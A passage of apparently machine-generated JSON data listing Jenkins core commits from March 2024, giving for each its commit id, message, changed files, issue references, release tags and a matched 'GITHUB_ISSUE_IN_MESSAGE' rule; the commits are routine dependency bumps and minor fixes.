"jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9037", + "relevance": 2 + } + ] + }, + { + "commit_id": "5bc99ad8b7aac3a42a58de8f63075f04a16eedab", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710448457, + "hunks": 1, + "message": "Improve description of \"Plain text\" markup formatter (#9039) Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9039": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9039", + "relevance": 2 + } + ] + }, + { + "commit_id": "a4835fccf3f46623f0d7dd11cf55c5e5928c8358", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710448448, + "hunks": 1, + "message": "Bump com.google.guava:guava from 33.0.0-jre to 33.1.0-jre (#9040) Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.0.0-jre to 33.1.0-jre. - [Release notes](https://github.com/google/guava/releases) - [Commits](https://github.com/google/guava/commits) --- updated-dependencies: - dependency-name: com.google.guava:guava dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9040": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9040", + "relevance": 2 + } + ] + }, + { + "commit_id": "d2a4a44a5c10ff9f32632fdd628deed275ea39a1", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710291595, + "hunks": 1, + "message": "Remove lingering reference to `maven-makepkgs-plugin` (#9034)", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9034": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9034", + "relevance": 2 + } + ] + }, + { + "commit_id": "4909708a14c3ca9acc9a74e5e5a1349700186886", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710291567, + "hunks": 5, + "message": "Bump softprops/action-gh-release from 2.0.2 to 2.0.4 (#9035) Bumps [softprops/action-gh-release](https://github.com/softprops/action-gh-release) from 2.0.2 to 2.0.4. - [Release notes](https://github.com/softprops/action-gh-release/releases) - [Changelog](https://github.com/softprops/action-gh-release/blob/master/CHANGELOG.md) - [Commits](https://github.com/softprops/action-gh-release/compare/d99959edae48b5ffffd7b00da66dcdb0a33a52ee...9d7c94cfd0a1f3ed45544c887983e9fa900f0564) --- updated-dependencies: - dependency-name: softprops/action-gh-release dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + ".github/workflows/publish-release-artifact.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9035": "Bump softprops/action-gh-release from 2.0.2 to 2.0.3 #9032" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9035", + "relevance": 2 + } + ] + }, + { + "commit_id": "3e61c82be10352d1923518c276d67890372ed970", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710288923, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:mailer from 470.vc91f60c5d8e2 to 472.vf7c289a_4b_420 (#9036) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9036": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9036", + "relevance": 2 + } + ] + }, + { + "commit_id": "61a8fed2594989ca14f31179b75ce26e5157cb3b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710211963, + "hunks": 1, + "message": "Bump com.puppycrawl.tools:checkstyle from 10.14.0 to 10.14.1 (#9033) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9033": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9033", + "relevance": 2 + } + ] + }, + { + "commit_id": "f7cfb7ed382fc25a7c80bd4f96980e220274abd7", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710167038, + "hunks": 5, + "message": "Bump softprops/action-gh-release from 1 to 2 (#9030)", + "changed_files": [ + ".github/workflows/publish-release-artifact.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9030": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9030", + "relevance": 2 + } + ] + }, + { + "commit_id": "9e7397244e9c971f5b1d5406d8865c52fa301233", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710167025, + "hunks": 1, + "message": "Bump org.apache.commons:commons-compress from 1.26.0 to 1.26.1 (#9031)", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9031": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9031", + "relevance": 2 + } + ] + }, + { + "commit_id": "76e1fd291b2fb539a2d72776bcaeaeba7461556d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710091777, + "hunks": 1, + "message": "Update jenkins/ath Docker tag to v5814 (#9029) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "ath.sh" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9029": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9029", + "relevance": 2 + } + ] + }, + { + "commit_id": "b9b779d71928cc33f207a98726265ee77705cccc", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710057459, + "hunks": 1, + "message": "Link to individual releases' changelog pages (#8985)", + "changed_files": [ + ".github/release-drafter.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8985": "Fix formatting #9151" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8985", + "relevance": 2 + } + ] + }, + { + "commit_id": "46b0db778344fd705418535bc6a7f55b88e4db30", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710057450, + "hunks": 7, + "message": "`Lifecycle.supportsDynamicLoad` (#9013)", + "changed_files": [ + "core/src/main/java/hudson/PluginManager.java", + "core/src/main/java/hudson/lifecycle/Lifecycle.java", + "core/src/main/resources/hudson/Messages.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9013": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9013", + "relevance": 2 + } + ] + }, + { + "commit_id": "2dca2b18ae00829431be06c25bb370e5f825b2bc", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710057432, + "hunks": 2, + "message": "`Job.fastUpdateNextBuildNumber` (#9019)", + "changed_files": [ + "core/src/main/java/hudson/model/Job.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9019": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9019", + "relevance": 2 + } + ] + }, + { + "commit_id": "c9af352f6f1815a799308fbe7a613038d7cfd63b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710057377, + "hunks": 1, + "message": "[JENKINS-65911] Correct JNA method signature for `fcntl(2)` (#9026)", + "changed_files": [ + "core/src/main/java/hudson/util/jna/GNUCLibrary.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9026": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9026", + "relevance": 2 + } + ] + }, + { + "commit_id": "dc714a7ffb766ab7de1573ae327823e4867117e6", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710057333, + "hunks": 20, + "message": "Update dependency postcss-preset-env to v9.5.0 (#9028) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9028": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9028", + "relevance": 2 + } + ] + }, + { + "commit_id": "b528922163e2c7cf3b5735080184e44149117ce4", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710008250, + "hunks": 2, + "message": "Update Yarn to v4.1.1 (#9021) * Update Yarn to v4.1.1 * Update yarn in war/pom.xml Signed-off-by: Alexander Brandes --------- Signed-off-by: Alexander Brandes Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes ", + "changed_files": [ + "war/package.json", + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9021": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9021", + "relevance": 2 + } + ] + }, + { + "commit_id": "3a07440b339bc9da1b5c8632aa78a02e011b4e5b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709994573, + "hunks": 1, + "message": "Update bundled trilead-api to 2.84.86.vf9c960e9b_458 (#9022) Co-authored-by: Daniel Beck ", + "changed_files": [ + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9022": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9022", + "relevance": 2 + } + ] + }, + { + "commit_id": "9a3ef7cd0421fde13aaf4a17285acc127026ae63", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709920080, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:matrix-auth from 3.2.1 to 3.2.2 (#9018) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9018": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9018", + "relevance": 2 + } + ] + }, + { + "commit_id": "61a2404ba3596b598f5ad7bb7ad8f000eff659c2", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709756373, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:mailer from 463.vedf8358e006b_ to 470.vc91f60c5d8e2 (#9015) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9015": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9015", + "relevance": 2 + } + ] + }, + { + "commit_id": "b5c5caa7eac3e318cfc277932cdf6cd8017154bc", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709668907, + "hunks": 5, + "message": "Adds support of sessionId for External-Job-Monitor (#8825) adds support of sessionId and minor bug fix", + "changed_files": [ + "core/src/main/java/hudson/Main.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8825": "[JENKINS-70684] Deprecate standalone use of hudson.Main #9023" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8825", + 